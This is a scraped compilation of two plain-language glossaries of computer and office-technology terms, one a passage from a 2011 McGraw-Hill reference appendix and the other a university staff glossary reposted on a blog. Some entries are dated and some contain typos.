Internet is a system that links existing networks into a worldwide network.
Newbie. A newcomer to a bulletin board system or some other network facility.D–18 Part 3 • References
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Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Newsgroup. An electronic discussion group maintained over the Internet or tied into a bulletin board
system. Each newsgroup is typically organized around a speciﬁc interest or matter of concern. Also
called a forum.
Newsreader. A program that permits users to read and respond to messages posted on Usenet.
Notebook computer. A portable computer. Also known as a laptop computer.
Notwork. A network that does not live up to its advance billing. Also called a nyetwork.
Number crunching. Processing large amounts of numerical data.
Object linking and embedding (OLE). A process that permits the user to take material (referred to as
an object) from one source and insert (embed) it in another document. If the user subsequently makes
changes in the original material, those changes will be automatically transferred to the second document
as a result of the OLE linking process. (See also Dynamic data exchange.)
OCR. See Optical character reader.
Ofﬂine. Refers to the state in which a computer is temporarily or permanently unable to communicate
with another computer (even though it is turned on and capable of performing other functions). The term
ofﬂine is also used humorously to refer to “real life.” The expression “Let’s take that ofﬂine” means “Let’s
discuss that in private.”
Offscreen. Refers to any computer function that does not produce a display on the screen.
OLE (pronounced oh-lay). See Object linking and embedding.
Online. Refers to the state in which a computer is turned on and ready to communicate with other
computers.
Onscreen. Refers to anything displayed on the screen of a computer.
Open. To transfer a ﬁle from a disk into the memory of a computer.
Open source software. Software that makes the underlying source code available to all users at no
charge. Users may make changes and improvements as long as they do not try to sell the software commercially. Linux is the best example of open source software currently available.
Operating system (OS). Software that manages the internal functions and controls the operations of a
computer.
Optical character reader (OCR). A device that can scan text from hard copy and enter it automatically into a computer for storage or editing. Also called an optical scanner.
Option button. An onscreen element that allows a user to select one option from a group of items. An
empty circle precedes each option not selected. A dot appears in a circle to signify that the user has
selected that option. Also referred to as a radio button.
Orphan protection. The ability of a program to prevent the ﬁrst line of a paragraph from printing as the
last line on a page. When the ﬁrst line of a paragraph does appear as the last line on a page, it is referred
to as an orphan. (See also Widow protection.)
OS. See Operating system.
Outlining. The ability of a program to automatically number and letter items typed in an indented format.
Output. The results of a computer operation.Appendix D • Glossary of Computer Terms D–19
Glossary of
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Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Output device. A hardware component (such as a monitor, a printer, or a sound speaker) that delivers
the results of computer operations to the user.
Overwriting. Recording and storing information in a speciﬁc location on a storage medium that destroys whatever had been stored there previously.
Page break.A command that tells the printer where to end one page and begin the next. (See also Hard
page break; Soft page break.)
Page numbering. The ability of a program to automatically print page numbers on the pages that make
up an entire document. If the document is revised and the total number of pages changes, the page numbering is automatically adjusted.
Pagination. The ability of a program to take information and automatically divide it into pages with a
speciﬁed number of lines per page. If the information is changed because of the addition, deletion, or rearrangement of copy, the material will be automatically repaged to maintain the proper page length. (See
also Soft page break.)
Palmtop computer. A portable computer smaller than a notebook (or laptop) computer that ﬁts on the
palm of your hand. Also called a handheld computer.
Papernet. Ordinary mail service. (See also Voicenet.)
Password. A user’s secret identiﬁcation code, required to access stored material. A procedure intended
to prevent information from being accessed by unauthorized persons.
Paste. A command that transfers information from a clipboard and inserts it in another location. (See
also Cut and paste.)
Patch. A small program that improves an existing piece of software or corrects an error in it.
PC. See Personal computer.
PDA. See Personal digital assistant.
PDF. See Portable Document Format.
Peripheral. A device that extends the capabilities of a computer (for example, a printer).
Personal computer (PC). A microcomputer for personal and ofﬁce use.
Personal digital assistant (PDA). A palm-sized, handheld computer.
Personal information manager (PIM). A database management system that permits a user to store
and retrieve a wide range of personal information (for example, names, addresses, phone numbers,
appointments, and lists of people to call and things to do).
Phishing.A type of computer fraud that tries to trick users into revealing their passwords and other con-
ﬁdential information.
Pica. A measurement used for a font; equal to 1/6 inch or 12 points.
PIM. See Personal information manager.
Piracy. The illegal copying of software or other creative works.
Pitch. The number of monospace characters (each with exactly the same width) that will ﬁt in a 1-inch
line of text. (See also Fixed-pitch font.)D–20 Part 3 • References
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Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Pixel. An acronym derived from picture element. The smallest element (a dot) on a display screen.
Pixels are used to construct images on the screen.
Platform. A term used to deﬁne the type of microprocessor and operating system on which a computer is based.
Plug-and-play. The ability to plug in a peripheral and have it work without difﬁculty. The term plug-andplay is now sometimes used to refer to a new employee who can immediately do the job without any preliminary training. Because of the problems some users have experienced with items so labeled, they refer
instead to plug-and-pray.
POD. Publishing on demand. A process that allows for the printing of individual copies as orders come
in (as distinguished from the traditional method of printing a number of copies on the basis of estimated
sales for the foreseeable future).
Podcasting. Posting audio ﬁles online so that they can be downloaded to a portable audio player such
as an MP3 player.
Point.A measurement that indicates the size of a font; 72 points equals 1 inch and 12 points equals 1 pica.
Pointer. An onscreen device that indicates the current position of the mouse.
Pop-up menu. See Menu.
Port. A socket on a computer into which an external device (such as a printer cable) can be plugged.
Portable Document Format (PDF).A format that makes it possible—with the help of Adobe Acrobat—
to view documents that employ different fonts, various types of graphics, and complex layouts.
Portrait orientation. Positioning paper so that information is printed across the short dimension of the
paper. (See also Landscape orientation.)
Posting. A message entered into a network (such as a newsgroup) or on a Web site.
Print preview. A software feature that reduces the pages of a document so that a full page (or two facing pages) can be seen on the screen before being printed. This feature permits the user to spot and correct problems in format and page breaks.
Printers. Output devices of various types that produce copy on paper. (See also Dot matrix printer; Inkjet
printer; Laser printer.)
Printout. The paper copy of information produced on a printer.
Program. An established sequence of instructions that tells a computer what to do. The term program
means the same as software.
Programming language. The rules, conventions, and speciﬁc commands used to write a computer
program. Most programs must be converted into machine language or binary code so that the instructions can be performed on a speciﬁc computer platform.
Prompt. An onscreen symbol (for example, a cursor) that indicates where to type a command; a message that indicates what action is to be taken.
Proportional font. A typeface in which the width of each character varies (as in this sentence), so that
the letter I takes much less space than the letter M. (See also Font.)
Protocol. A set of standards that permits computers to exchange information and communicate with
each other.Appendix D • Glossary of Computer Terms D–21
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Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
P2P. Peer-to-peer (network).
Publishing on demand. See POD.
Pull-down menu. See Menu.
Push technology. A process that allows a user to obtain automatic delivery of speciﬁed information
from the Internet to the user’s computer—for example, stock market quotes, weather forecasts, and
sports scores.
Radio button. See Option button.
RAM. See Memory, random-access.
Rave. To annoy someone by persistently talking about something. The act of raving is different from
ﬂaming in that ﬂaming is deliberately provocative and even insulting, whereas raving is simply annoying
because it goes on so long.
Read. To transfer information from an external storage medium into internal storage. (See also Storage,
external and internal.)
Record (n.). A collection of all the information pertaining to a particular subject.
Redlining. A word processing feature that allows writers and editors to display (by means of a shaded
panel or some other method) the additions and deletions they have made in a document. Redlining in
drafts of reports, contracts, and manuscripts makes it easy for others to see the changes that have been
made. All redlining is removed from the ﬁnal version of the document.
Response time. The time a computer takes to execute a command.
Retrieve. To call up information from memory or storage so that it can be processed in some way.
ROM. See Memory, read-only.
Row. A horizontal block of cells in a table or spreadsheet. (See also Column.)
RSI. Repetitive strain injury; sometimes referred to as chiplash. (See also Carpal tunnel syndrome; Mouse
elbow.)
Ruler. A bar (displayed on the screen) that shows the width of the page, the margin settings, the paragraph indentions, and the tab stops.
Save. To store a program or data on a storage device such as a disk.
Scanner. An input device that can copy a printed page into a computer’s memory, thus doing away with
the need to type the copy. A scanner can also convert artwork and photographs into a digital format and
store these in memory.
Screen. See Display screen.
Screen dump. A printout of what is displayed on the screen.
Screen saver. A program that changes the screen display while the user is away from the computer.
Originally intended to prevent images from becoming etched on a monitor’s screen when that was still a
problem. Now used primarily for esthetic purposes.
Scroll. To move information horizontally or vertically on a display screen so that one can see parts of a
document that is too wide or too deep to ﬁt entirely on one screen.D–22 Part 3 • References
Glossary of
Computer Terms
D
Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Scroll bar. An onscreen element that allows a user to scroll by using a mouse.
SCSI (pronounced scuz-zy). See Small computer system interface.
Search and replace. A command that directs the program to locate a character string or information
(text, numbers, or symbols) wherever it occurs in a document and replace this material with new information. (See also Global.)
Search engine. A free program that helps Web users locate data by means of a keyword or concept.
Among the most popular search engines are Google, Yahoo!, Excite, WebCrawler, and AltaVista.
Server. A computer that delivers data to other computers (clients) linked on the same network.
Shareware. Software that usually may be downloaded and used initially without charge; the author
may subsequently ask for some payment. (Compare with Freeware.)
Shouting. The use of all caps in e-mail. This practice is considered a violation of netiquette and is
actively discouraged.
Shovelware. Mediocre material used to ﬁll up space on a CD-ROM or a Web site.
Sig block. The signature block that automatically appears at the end of every outgoing e-mail message.
Also referred to as a .sig ﬁle.
Small computer system interface (SCSI). A type of hardware and software interface for connecting
peripherals such as a disk drive or a CD-ROM.
Smiley. In e-mail messages, a facial expression constructed sideways (for the “lateral-minded”) with
standard characters. Also referred to as an emoticon (emotional icon). For example:
:-) I’m smiling. >:-( I’m angry. :-J I’m being tongue-in-cheek.
:-D I’m laughing. :-@ I’m screaming. :-+ I’m exhausted—my tongue
:-( I’m sad. :-& I’m tongue-tied. is hanging out.
:-< I’m very sad. :-x My lips are sealed. %-) I’ve been staring at the
:’-( I’m crying. #-) I’m feeling no pain. screen too long.
;-) I’m winking. :-O I’m shocked. 8-| What next?
Japanese smileys do not require you to turn your head sideways. For example:
^L^ I’m happy. (>_<) I’m angry. (^_^)/` I’m waving hello.
^o^ I’m laughing out loud. (@_@) I’m stunned. (;_;)/ I’m waving good-bye.
\(^_^)/ I’m joyful. (!_!) I’m shocked. (=_=) I’m sleepy.
Although smileys tend to be quite amusing, many people ﬁnd them excessively cute. In any case, do not
insert smileys in business correspondence except in informal messages, when you are sure the recipient
will welcome them.
Snail mail. A term employed by e-mail users to refer to regular mail service.
Sneakernet. The procedure for transferring ﬁles from one computer to another when the computers are
not connected by an electronic network. (Users remove diskettes or other storage devices from one
computer and carry them on foot to another.)
Soft copy. Information shown on the display screen. (See also Hard copy.)
Soft hyphen. A hyphen that divides a word at the end of a line; considered soft (nonpermanent) because
the hyphen will automatically be deleted if the word moves to another position as a result of a change in
the text. (See also Hard hyphen; Hyphenation.)Appendix D • Glossary of Computer Terms D–23
Glossary of
Computer Terms
D
Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Soft page break. A line inserted by the program to show where a page will end. If copy is added or
deleted, the original page break will be replaced with a new soft page break at the appropriate place. (By
contrast, a hard page break will remain ﬁxed, no matter what changes are made in the copy.) (See also
Pagination.)
Soft return. A software feature that automatically breaks text between words at the right margin. The
line ending is considered soft (nonpermanent) because the line ending will change if the user adds or
deletes text. (See also Hard return; Word wrap.)
Software. The instructions that a computer needs to perform various functions. The term software
means the same as program. (See also Hardware.)
Sort. To arrange ﬁelds, records, or ﬁles in a predetermined sequence.
Spam (n.). The electronic equivalent of junk mail; also called unsolicited commercial e-mail (UCE). (See
also Ham.)
Spam (v.). To send an e-mail message to a great number of recipients without regard for their need to
know. A user who spams sometimes receives a mailbomb in return as a form of retaliation.
Spider. An automated program that searches the Internet for new Web sites and indexes their URLs
and content descriptions in a database for examination by a search engine for matches.
Spim. Spam that is delivered by instant messaging (IM Spim).
Spit. Spam that is delivered by Internet telephony (IT).
Split screen. The ability of some programs to display information in two or more different areas on the
screen at the same time.
Spreadsheet. A program that provides a worksheet with rows and columns to be used for calculations
and the preparation of reports.
Spyware. Software that enables a user to track someone’s computer activities without that person’s
consent.
Storage. The memory of a computer.
External storage. A magnetic medium such as a disk, diskette, or tape used to store information;
can be removed from the computer.
Internal storage. An integral component of a computer; cannot be removed.
Store. To place information in memory for later use.
Streaming. The process of sending and temporarily storing large amounts of audio or video information
in small pieces and playing them back on the computer so that there is a continuous ﬂow.
Style sheet. A collection of the user’s formatting decisions regarding font, type size, margins, justiﬁcation, paragraph indentions, and the like.
Surﬁng the Net. Browsing through various Web sites on the Internet in search of interesting things.
Surge protector. A device that protects computer hardware from being damaged by sudden increases
in voltage.
SYSOP (pronounced siss-op). An acronym derived from system operator. A person who operates a
bulletin board system.D–24 Part 3 • References
Glossary of
Computer Terms
D
Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Tab grid. A series of preset indentions (usually a half inch apart). If the tabs are reset by the user, the
grid will change to show the new location of the tabs.
Tablet. A computer that accepts handwritten notes entered on the display screen by means of an electronic pen. The notes are then converted into text.
TCP/IP. See Transmission Control Protocol/Internet Protocol.
Telecommunications. The process of sending and receiving information by means of telephones, satellites, and other devices.
Telecommuter. An employee who works away from the ofﬁce (usually at home) and uses a computer
(1) to access needed information on the organization’s intranet and the Internet and (2) to communicate
with other employees, suppliers, and customers or clients.
Teleconferencing. Conducting a conference by using computers, video, and telecommunications to
share sound and images with others at remote sites.
Telnet. A protocol that allows a computer to connect with a host computer on the Internet. The use
of Telnet has diminished as the Web’s hypertext transfer protocol (HTTP) has become the dominant
protocol.
Template. A preestablished format for a document, stored in a computer. The template determines the
margins, the type style and size to be used for the text, placement instructions for various elements
(such as the date line), and design speciﬁcations for certain items (such as a letterhead). A user can simply call up the appropriate template, insert text where needed, and then print a ﬁnal document. The user
can modify the original template or create a new template to satisfy personal preferences.
Terminal. Any device that can transmit or receive electronic information.
Text. Broadly speaking, the material displayed on a screen or printed on paper. Within a given document, the term refers to the body of the document as distinct from headers, footers, and other elements.
Text entry. The initial act of typing that places text in storage. (See also Type.)
Thread. A series of posted messages that represents an ongoing discussion of a speciﬁc topic in a bulletin board system, a newsgroup, or a Web site.
Toolbar. An onscreen element that offers instant access to commonly used commands. The commands
are represented by icons on a row of buttons at the top of the screen. Also called a button bar.
Touchpad. The device on a laptop computer that takes the place of a mouse.
Touchscreen technology. The technology that permits a user to perform a function simply by touching
the screen in an appropriate spot.
Trackball. An input device in which the user rolls a ball (usually with a thumb) to move the pointer.
Transfer rate. The rate at which data is transmitted between two computers or other electronic
equipment.
Transmission Control Protocol/Internet Protocol (TCP/IP). A collection of over 100 protocols that
are used to connect computers and networks.
Treeware. Anything printed on paper.
Trojan horse. A type of computer virus that is hidden within an innocent-looking program.Appendix D • Glossary of Computer Terms D–25
Glossary of
Computer Terms
D
Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Type. To enter characters into the memory of a computer. For a number of years the verb type began to
be replaced by the verb key as a way of emphasizing the difference between a computer and a typewriter.
However, the simpler verb type has made a comeback in computer terminology and is now the word commonly seen in users’ manuals and on display screens.
Typeface. See Font.
Typeover. See Overwriting.
Uniform resource locator (URL). The speciﬁc Internet address for a resource such as an individual or
an organization. (See also World Wide Web.)
Uninterruptible power supply (UPS). A battery-powered backup system that provides enough electricity to a computer during a power outage (or, in most cases, a brownout or power surge) so that the
user can save ﬁles before shutting down the computer.
Universal Serial Bus (USB). A common standard for connecting multiple peripherals to a computer
as needed.
Upload. To transfer information from a client computer to a host computer.
UPS. See Uninterruptible power supply.
URL (pronounced you-are-el or erl). See Uniform resource locator.
USB. See Universal Serial Bus.
Usenet (from Users’ Network). A bulletin board system or Internet site that hosts thousands of
newsgroups.
User-friendly. Describes hardware or software that is easy to use. A related phrase, user-obsequious,
describes hardware or software that is so simplistic in design that it is virtually unusable.
Userid (pronounced user-eye-dee). The name a person must use, along with a password, to gain
access to restricted areas on a network.
Vaporware. Software that is being widely advertised, even though it is still in the developmental stage
and has serious problems that may doom its eventual release. The premature marketing of software is
designed to deter prospective customers from buying competitive products already available for sale.
(See also Brochureware.)
Video display terminal (VDT). See Display screen.
Virtual reality. See Cyberspace.
Virus. A piece of computer code designed as a prank or malicious act to spread from one computer to
another by attaching itself to other programs. Some viruses simply cause a humorous message to appear
on the screen. Some cause minor glitches, but others cause serious damage to a computer’s memory or
disks. Some viruses ﬂood an organization’s Web site, interrupting or entirely preventing access to the
organization’s customers. (See also Antivirus software; Denial of service attack.)
Voice over Internet Protocol (VoIP). The transmission of voice communications by means of the
Internet Protocol. VoIP is an inexpensive alternative to long-distance telephone calls.
Voicenet. Ordinary telephone service.
VoIP. See Voice over Internet Protocol.D–26 Part 3 • References
Glossary of
Computer Terms
D
Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
WAIS (pronounced ways). See Wide-Area Information Server.
WAN. See Network, wide area.
Web. See World Wide Web.
Web browser. Software that permits a user—with a click of a mouse—to locate, display, and download
text, video, audio, and graphics stored in a host computer on the Web. The most common Web browsers
now in use are Internet Explorer and Mozilla Firefox.
Web site.One or more related pages created by an individual or an organization and posted on the World
Wide Web. (See also Home page.)
Webcam. A video camera that sends live images over the Internet to a Web site.
Webcaster. An application that can be custom-tailored to satisfy an individual user’s need for constantly updated information in speciﬁc areas. A Webcaster, when appropriately programmed, will automatically deliver the needed information to the user’s computer. (See also Push technology.)
Webmaster. The person who maintains a speciﬁc Web site and is responsible for what appears there.
Webzine. See E-zine.
Wide-Area Information Server (WAIS). An Internet search system that will locate documents that
contain keywords speciﬁed by the user.
Wide area network (WAN). See Network, wide area.
Widow protection. The ability of a program to avoid printing the last line of a paragraph as the ﬁrst line
on a page. When the last line of a paragraph does appear as the ﬁrst line on a page, it is referred to as a
widow. (See also Orphan protection.)
Wi-Fi. Wireless ﬁdelity. A process that permits high-speed wireless transmission of data.
Wiki.A procedure that permits a Web site to be continually edited or added to by those who visit the site.
Window. A frame that permits users to view messages they have received or documents they are working on.
Windowing. The ability of a program to split its display screen into two or more segments so that the
user can view several different documents or perform several different functions simultaneously. (See
also Split screen.)
Windows. A Microsoft operating system used on the vast majority of PCs.
Wizard. An interactive feature within an application that helps a user through each step of a task, such
as creating a customized document or adding hardware. The term wizard is also used to refer to the person in an organization who can quickly ﬁnd and ﬁx everyone else’s computer problems.
W00t.The term w00tis an alphanumeric acronym that stands for “we owned the other team.” This term
is typically employed by Internet users to express happiness or joy. (See also L33t.)
Word of mouse. Gossip spread by e-mail.
Word processing. The electronic process of creating, formatting, editing, proofreading, and printing
documents. (See also Information processing.)Appendix D • Glossary of Computer Terms D–27
Glossary of
Computer Terms
D
Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Word wrap. A software feature that detects when a word will extend beyond the right margin and
automatically transfers it to the beginning of the next line.
Workstation. A desktop computer that runs applications and serves as an access point in a local area
network. (See also Network.)
World Wide Web. The component of the Internet that combines audio, video, and graphics with text.
Also called the Web or WWW. (WWW is sometimes pronounced triple-dub, to avoid pronouncing each W
separately.)
Worm. A type of computer virus that runs a program to destroy data on a user’s hard drive. Worms
spread by sending copies of themselves to everyone on the user’s list of e-mail addresses.
WWW. See World Wide Web.
WYSIWYG (pronounced wiz-zy-wig). An acronym derived from what you see is what you get. A computer design standard that lets the user see on the screen how a page will look when it is printed.
Zombie. A computer that has been hijacked by a cracker without the owner’s knowledge and used to
perform malicious tasks on the Internet.
Zone. See Domain.

Glossary of Computer Terms

noreply@blogger.com (Unknown) — Sat, 08 Jun 2013 00:44:00 +0000

from: http://www.cheyney.edu/information-technology/documents/1glossarycomputerterms.pdf

Published for the Faculty and Staff of Cheyney University of
Pennsylvania Cheyney University of Pennsylvania
Glossary of Computer Terms
As the office continues to undergo a series of rapid technological changes, a
whole new vocabulary continues to evolve. The following glossary has been
prepared for the faculty, managers and staff of Cheyney University of
Pennsylvania to provide a brief and simple definition of the key computer
terms and concepts that are most often used. You have heard our workshop
presenters use many of these terms. This glossary should be of assistance to
you as you advance in computer knowledge. We recognize there are many
additional terms and words that are not included in the glossary, however we
have included the most often used terms.
Note: when bold type is used to highlight a word within a definition, it
signifies that the highlighted word is defined in another location of the
glossary.
Glossary of Terms and definitions
Access. To call up information out of storage.
Random access. Technique that permits stored information to be directly
retrieved, regardless of its location on the storage medium.
Sequential access. A technique for retrieving stored information that requires a
sequential search through one item after another on the storage medium.
Access time. The amount of time it takes a computer to locate stored information.
Adapter. A circuit board that plugs into a computer and gives it additional capabilities.
Antivirus software. A program designed to look for and destroy a virus that may have infected
a computer’s memory or files.
Application. A program designed to perform information processing tasks for a specific
purpose or activity.
Archive. A file compressed for more efficient use of storage space.
Ascending sort. Sorting records from A to Z or 0 to 9.
ASCII (pronounced as-kee). An acronym derived from American Standard Code for
Information Interchange. The use of this standard code permits computers made by different
manufacturers to communicate with one another.
2 Contact the Training Director: wplummer@cheyney.edu; telephone: 610-399-2313 Fax: 610-399-2394 Cheyney University of Pennsylvania
Background printing. The ability of a computer to print a document while other work is being
done on the keyboard and the display screen at the same time.
Backup. Storage of duplicate files on disks, diskettes, or some other form of magnetic medium
(such as tapes) as a safety measures in case the original medium is damaged or lost.
Basic Input/Output System (BIOS). A set of programs stored in read-only memory. These
programs control the disk drives, the keyboard, and the display screen, and they handle start-up
operations.
Boilerplate. Standard wording (for example, sentences or paragraphs in form letters or clauses in
legal documents) that is held in storage. When needed, it can be used as is, with minor
modification, or in combination with new material to produce tailor-made documents.
Bookmark list. A customized list of a user’s favorite Web sites. A bookmark list permits the
user to access a particular Web site with single command.
Boot (short for bootstrap). To start a computer and load the operating system to prepare the
computer to execute an application.
Browser. See Web browser.
Buffer. A holding area in memory that stores information temporarily. Also called cache.
Bug. A defect in the software that causes the computer to malfunction or cease to operate.
Some writers now use bug to refer to hardware problems as well.
Bulletin board system (BBS). An online information system, usually set up by an individual.
Button bar. An on-screen element that offers instant access to commonly used commands. The
commands are represented by icons on a row of bottoms at the top at the top of the screen. Also
called a tool bar.
Byte. The sequence of bits that represents a character. Each byte has 8 bits.
Carpal tunnel syndrome. A wrist or hand injury caused by using a keyboard for long periods
of time. A type of repetitive strain injury.
CD-ROM (pronounced cee-dee-rom). An acronym derived from compact disk-read only
memory. A form optical storage. One compact disk can hold up to 250,000 text pages; it can
also be used to store graphics, sound, and video.
Cell. A box or rectangle within a table or spreadsheet where a column and a row intersect; an
area in which information can be entered in the form of text or figures.
Character. A single letter, figure, punctuation mark, or symbol produced by a keystroke on a
computer.
Character set. The compete set of characters, alphabetic, numeric, and symbolic.
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Character per inch. The number of characters in a font that will fit within 1 inch.
Characters per second. The number of characters printed in 1 second; a measurement
frequency used to describe the speed of a printer.
Check box. A small box that appears on screen alongside each option displayed in a dialog box.
When an option is selected, an X or a check mark appears inside the box.
Chip. An integrated circuit used in computers.
Circuit board. A board or card that carries the necessary electronic components for a particular
computer function.
Clear. A command to erase information.
Click. To quickly pres and release a mouse button once while the cursor (mouse pointer) is
positioned over a specific item on the screen.
Client/server computing. A network of computers that consist of a file server and individual
clients.
Clipboard. A holding area in memory where information that has been copied or cut can be
stored until the information is inserted elsewhere.
Column. A vertical block of cells in a table or spreadsheet.
Command. An instruction that causes a program or computer to perform a function. A
command may be given by means of a special keystroke, or the command may be chosen from a
menu.
Commercial online service. See Internet service provider.
Compatibility. The ability of one type of computer to share information or to communicate
with another type of computer.
Computer. An electronic devise that is capable of (1) accepting, storing, and logically
manipulating data or text that input and (2) processing and producing output (results or
decisions) on the basis of stored programs of instructions.
Control menu. An on-screen Windows element that appears in a box in the upper left corner of
a window. The control menu allows the user the option of adjusting the size of the window,
closing or reopening the window, or switching to another window.
Cookie. A devise that permits a Web site to identify and collect information about every user
who visits that site.
Copy. To reproduce information elsewhere. The original information remains in place.
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CPU. See Central processing unit.
Cracker. The preferred term to refer to a computer criminal who penetrates a computer
program to steal information or damage the program in some way.
Crash. A malfunction in hardware or software that keeps a computer from functioning.
Cursor. A special character that indicates where the next typed character will appear on the
display screen.
Cursor positioning. The movement of the cursor on the display screen. Most computes have
four keys to control up, down, left, and right movement. Many computes also permit the use of a
mouse to position the cursor.
Cut. To remove text from its original location and place it on a clipboard.
Cut and paste. To move a block of textfrom one place to another.
Cyberspace. A realistic simulation of a three-dimensional world created by a computer system;
also referred to as virtual reality. Now commonly used to refer to the world of the Internet as a
whole.
Cybrarian. The electronic equivalent of a librarian. A person who makes a career of online
research and data retrieval.
Data. Information consisting of letter, numbers, symbols, sound, or images in a form that can be
processed by a computer.
Data compression. A procedure for reducing the volume of data so as to shorten the time
needed to transfer the data.
Database. A stored collection of information.
Database management system. The software needed to establish and maintain database and
manage the stored information.
Debugging. Locating and eliminating defects in a program.
Default settings. The pre-established settingsthat a program will follow unless the user changes
them.
Delete. A command to erase information in storage.
Descending sort. Sorting records from Z to A or 9 to ).
Desktop. The electronic work area on a display screen.
Desktop computer. A microcomputer that is bigger than a laptop.
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Desktop publishing. A system that processes the text and graphics and, by means of page
layout software and a laser printer, produces high-quality pages suitable for printing or in-house
reproduction.
Dialog box. A message box on the screen that supplies information to or requests information
from the user.
Dictionary. A program used to check the spelling of each word entered in the computer.
Directory. A list of the files stored on a disk.
Disk. A random-access, magnetically coated storage medium used to store and retrieve
information.
Disk drive. The component of a computer into which a disk is inserted so that it can be reads or
written on.
Diskette. A small, no rigid disk with limited storage capacity. Also know as a floppy disk.
Display screen. A devise similar to a television screen and used on a computer to display text
and graphics.
Document. Any printed business communication for example, a letter, memo, report, table, or
form.
Domain. Typically, a three letter element in a Web address or an e-mail address. The domain,
commonly referred to as the zone, indicates the type of organization that owns the computer
being identified in the address. For example,. Com signifies a commercial organization; .edu
signifies an educational institution.
Domain name. the second part of an e-mail address what follows the @symbol. The name of
the computer intended to receive an e-mail message. In Web addresses (URLs) this element is
referred to as the host name.
DOS. An acronym derived from disk operating system. A program that allows the computer to
manage the storage of information on disks and control as other aspects of a computer’s
operation.
Dot. The period symbol used in e-mail addresses. Always referred to as a dot (never a period).
Thus the domain name aol.com would be pronounced ay-oh-ell dot-com. Internet surfers who
spend a lot of time in the. Com domain are sometimes referred to as dot communists.
Dot matrix printer. A printer that uses pins to produce characters made up of small dots.
Double-click. To quickly press and release a mouse button twice while the cursor is positioned
over a specific item on the screen.
Download. To transfer information to the user’s computer from another computer.
6 Contact the Training Director: wplummer@cheyney.edu; telephone: 610-399-2313 Fax: 610-399-2394 Cheyney University of Pennsylvania
Drag-and drop editing. A software feature that allows the user to (1) highlight text to be
moved and (2) use a mouse to drag the text to a new location.
Duplexing. A procedure that permits two computers to transmit data to each other
simultaneously.
DVD. Digital video disc (predicted to replace the CD-ROM).
Dynamic data exchange (DDE). A technology that permits the user to transfer or paste data
from one application (for example a spread sheet) to another (for example, a report). Because of
the dynamic link created by this technology, any change in the data in the original application
will be automatically reflected in the data copied in the second application.
Easter egg. An unexpected image or message that pops up on the display screen when the user
innocently enters a secret combination of keystrokes. Programmers playfully code Easter eggs
into software and operating systems as a way of surprising and amusing users engaged in more
serious tasks.
E-mail. The term e-mail(short for electronic mail) refers to the transfer of messages or
documents between users connected by an electronic network.
Enter. To input data into memory.
Escape key. A key that permits the user to leave one segment of a program and move to
another.
Execute. To perform an action specified by the user or the program.
Export. To save information in a format that another program can read.
Extranet. A technology that permits users of one organization’s intranet to enter portions of
another organization’s intranet in order to conduct business transactions or collaborate on joint
projects.
E-zine. The term e-zine refers to a magazine published in an electronic format. Also called
Webzine.
Face time. Time spent dealing with someone face to face.
FAQ. Frequently asked questions. Pronounced as a word or as separate letters.
Fax (n). A shortened form of the word facsimile. A copy of a document transmitted
electronically from one machine to another.
Fax (v). To transmit a copy of a document electronically.
Fax modem. A device built into or attached to a computer that serves as a facsimile machine
and a modem.
7 Contact the Training Director: wplummer@cheyney.edu; telephone: 610-399-2313 Fax: 610-399-2394 Cheyney University of Pennsylvania
Field. A group of related characters treated as a unit; also the area reserved for the entry of a
specified piece of information.
File. A collection of information stored electronically and treated as a unit by a computer.
Every file must have its own distinctive name.
File name. the name assigned to a file stored on a disk.
File transfer protocol (FTP). A set of guidelines or standards that establish the format in which
files can be transmitted from one computer to another.
Firewall. Software that prevents unauthorized persons from accessing certain parts of a
program, database, or network.
Flame (n). An inflammatory e-mail message; one deliberately designed to insult and provoke the
recipient.
Flame (v). to send an inflammatory message.
Floppy disk. See Diskette.
Folder. A storage area on a disk used to organize files.
Font. A typeface of a certain size and style. Includes all letters of the alphabet, figures, symbols,
and punctuation marks.
Footer. Repetitive information that appears at the bottom of every page of a document. A page
number is a common footer.
Footnote feature. The ability of a program to automatically position footnotes on the same
page as the text they refer to. If the text is moved to another page, any related footnotes will also
be transferred to that page.
Footprint. The amount of space a computer occupies on a flat surface.
Forelash. Negative reactions to a technology not yet in existence but excessively promoted in
advance.
Format. The physical specifications that affect the appearance and arrangement of a document,
for example, margins, spacing, and font.
Forms mode. The ability of a program to store the format of a black document or form so that
it can later be viewed on the display screen and completed by the user. Once a fill in has been
entered, the cursor automatically advances to the beginning of the next area to be filled in.
Freeware. Copyrighted software that is available for use without charge.
Function keys. Keys on a keyboard that give special commands to the computer for example,
to set margins or tabs.
8 Contact the Training Director: wplummer@cheyney.edu; telephone: 610-399-2313 Fax: 610-399-2394 Cheyney University of Pennsylvania
GIGO. Garbage in, garbage out. In other words, your computer output is only as good as your
computer input.
Glitch. A hardware problem that causes a computer to malfunction or crash.
Global. Describing any function that can be performed on an entire document without requiring
individual commands for each use. For example, a global search and replace command will
instruct the computer to locate a particular word or phrase and replace it with a different word or
phrase wherever the original form occurs in the document.
Gopher. The term gopher refers to a protocol used for locating and transferring information on
the Internet. The use of gopher is diminishing as the use of the Web’s hypertext transfer
protocol (HTTP) gains in popularity.
Graphics. Pictures or images presented or stored using a computer.
Hack. To work on an electronic project.
Hacker. A dedicated computer programmer. The term hacker is sometimes used erroneously to
refer to a computer criminal who penetrates and damages a computer program. The preferred
term for a computer criminal is cracker.
Handheld computer. A portable computer smaller than a notebook computer. Also called a
palmtop computer.
Hard copy. Text or graphics printed on paper; also called a printout.
Hard disk. A rigid type of magnetic medium that can store large amounts of information.
Hard hyphen. A hyphen that is a permanent character in a word. A word that contains a hard
hyphen will not be divided at this point if the word comes at the end of a line.
Hard page break. A page ending code or command inserted by the use that cannot be changed
by the program. A had page break is often used to prevent a table from being divided between
two pages and to signify that a particular section of a document has ended and the following text
should start on a new page.
Hard return. A command used to end a paragraph, end a short line of text, or insert a blank
line in the text.
Hard space. A space inserted between words in a phrase that should remain together. The had
space ensures that the phrase will not be broken at the end a line.
Hardware. The physical components of a computer: the central processing unit, the display
screen, the keyboard, the disk drive, and the printer.
